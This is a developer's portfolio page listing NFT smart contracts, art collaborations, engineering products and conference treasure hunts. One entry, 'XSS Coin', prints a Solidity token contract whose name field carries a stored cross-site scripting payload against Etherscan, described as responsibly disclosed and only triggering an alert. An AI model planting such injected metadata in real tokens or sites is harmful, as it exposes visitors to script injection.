Alberto Granzotto

Art & artist collaborations

81 Horizons (Dec 2021, on-chain, Ethereum) by Rafaël Rozendaal. A collection of 81 landscapes stored and rendered fully on-chain. I programmed the smart contract. The work is in the permanent collection of the Centre Pompidou, Paris.
R.A.R.E. Art Wrapper (Jul 2025, Ethereum). I developed and maintain the smart contract and dApp. The wrapper preserves the original metadata of ERC-20 artworks from the R.A.R.E. Art Labs marketplace by converting them to ERC-721 tokens, keeping the provenance. The contract supports wrapping/unwrapping and implements ERC-2981 royalties. Governance is managed by a multisig. Launch tweet. Three wrapped artworks by XCOPY were recently acquired by Kanbas, see my tweet about the acquisition.
Verselets (Aug 2022, on-chain, Ethereum). An exercise in minimalistic poetry and computational art. Each poem must be ≤64 bytes with a SHA-256 hash containing at least four consecutive 8s. Based on Robin Sloan's amulet concept, it combines brutal computation with editorial curation to find meaning in entropy. Collaborative work with poet @amuletrix. Launch tweet.
Spot Price (May 2023, hybrid, Ethereum) by Goldin+Senneby. I developed the smart contract and dapp. The smart contract is an ERC-721 with a customized transfer method that limits how the artwork can be transferred. To understand the context of the artwork, I highly suggest to read the Essay the artist wrote: Regions of Interest.
Happy Birthday Etherium (Jul 2025, on-chain, Ethereum, *misspelling is intentional). A fully on-chain generative SVG NFT for the Etherium 10th anniversary. The artwork evolves over 100 years, slowly fading with each passing day. Minting opened exactly 10 years after the genesis block and stays open for 24h only, with new windows every 10 years until 2125. Launch cast, technical details. See on Etherscan, Rarible, OpenSea.
Ever (Aug 2023, hybrid, Ethereum) by Amanda E. Metzger. I helped improving the security of the smart contract, lower gas usage, and added on-chain checks to verify that the data used to mint the token is coming from the correct source.
81 Landscapes (Aug 2023, on-chain, Ethereum) by Rafaël Rozendaal. Private drop. I developed the smart contract.
Cabinets (Aug 2022, on-chain, Ethereum) by Rafaël Rozendaal. I developed the smart contract and the dapp for the drop.
Decent Poems (Aug 2022, on-chain, Polygon) by Nicola and me. The project won the third prize (NFT track). I co-developed the smart contract and the dapp for the drop.
Doors (June 2022, on-chain, Ethereum) by Rafaël Rozendaal. I developed the smart contract and the dapp for the drop.
Emotons (June 2022, Ethereum) I co-developed the smart contract and the dapp for the drop.
Hyperloop (May 2022, Ethereum) by Umberto Ciceri I developed the smart contracts, and worked on encoding the videos.
Homage (March 2022, on-chain, Ethereum) by Rafaël Rozendaal. I co-developed the smart contract and the dapp for the drop.
Family Maker Wrapper (Oct 2021, Ethereum), a wrapper for the Family Maker token.
seasonal amulets, (March 2021, Ethereum), a collection of 4 lucky poems. I wrote some tweets about it.

Currently working on

AI Workshop. I teach a method to work with AI. 90-minute sessions, 1-on-1, hands-on. No theory, no hype.
Laguna Engineering. My company. We help engineering teams ship production-grade AI-generated code, and build our own AI products with it.
TellFranko. A conversational AI survey platform. The AI interviews respondents one at a time, follows up, and gives you insights a form never could.
Doing weird^H^H^H^H^Hcreative projects with Social Dist0rtion Protocol, a collective from the year 2045.

Engineering & products

PropCorn is a public good for micro-funding small features. Conceived during the WebZero hackathon, the project won a prize. I worked on this with my buddy Nicola.
Neokingdom DAO was a legal and technical framework to incorporate DAOs in Europe. I worked on this for ~4 years, working with lawyers and translating legal articles to code, and helping lawyers understanding what is feasible and what is not feasible on an EVM blockchain.
Fankee is a community-driven music label. I developed the smart contracts to manage drops and royality sharing. I worked on this with my buddy Nicola.
left.gallery is an online gallery that produces and sells downloadable objects since 2015. I'm helping them deploying custom ERC-721 contracts (NFT) for their gallery.
SayDAO, an experiment in facilitating group decision-making in loosely defined communities. I worked on it with Greg McMullen.
Serenissimo is a bot to notify people living in the Veneto region about new vaccination appointments. Serenissimo sent 125k notifications, has ~5k subscribers, and helped more than 3.5k people finding an appointment. Articles: Italian, English.
THC, a framework to create decentalized treasure hunts. We used it to create an escape game for 36C3.
Zero carbon providers, a collection of providers (VPS, hosting, email, etc.) that run their business on renewable energy and have a commitment towards the environment.
ethnode, a zero configuration tool to run a local Ethereum node. It supports both OpenEthereum and Geth.

XSS Coin, (October 2018, Ethereum Rinkeby), a stored XSS attack on Etherscan (responsibly disclosed). That's the code:

pragma solidity ^0.4.24;
import "openzeppelin-solidity/contracts/token/ERC20/StandardToken.sol";

contract XSSCoin is StandardToken {
    string public name = "'
style='position:fixed;top:0;left:0;width:9999px;height:999px;z-index:9'
onmouseenter='alert(1)'";
    string public symbol = "XSSCoin3";
    uint public INITIAL_SUPPLY = 666;

    constructor() public {
        totalSupply_ = INITIAL_SUPPLY;
        balances[msg.sender] = INITIAL_SUPPLY;
    }
}

THC works

Together with SDP, I developed several Treasure Hunt Challenges for conferences and events.

disappear, 2024, EthBerlin04
???, 2023, 37c3
No time to DAI, 2022, DevCon6
No time to DAI, 2022, EthBerlin03
2121, 2020, CCC (online)
Planetscape, 2019, 36c3

Older projects

Planet A, a simulation game to raise awareness on climate change, developed by Social Dist0rtion Protocol and LeapDAO.
Version 2.0 of the web extension for Tracking Exposed, an initiative to increase transparency behind personalization algorithms. (I created also the first version of the extension.)
Hardware and software development for Package Point, a locker system to speed up delivery and pick-up of parcels.
Protocol design and smart contract development for Ditto, an identity protocol for mobility providers developed under Urbi.
LeapDAO as an occasional contributor.
Core developer for BigchainDB.
Core developer for ascribe.
Founder of isoverse, a tool for creatives to manage their portfolio using dropbox.
Founder of Urlist, a bookmarking service.
Developer for embedded devices for street lighting.

Playing with

Photography. The site is a work in progress :)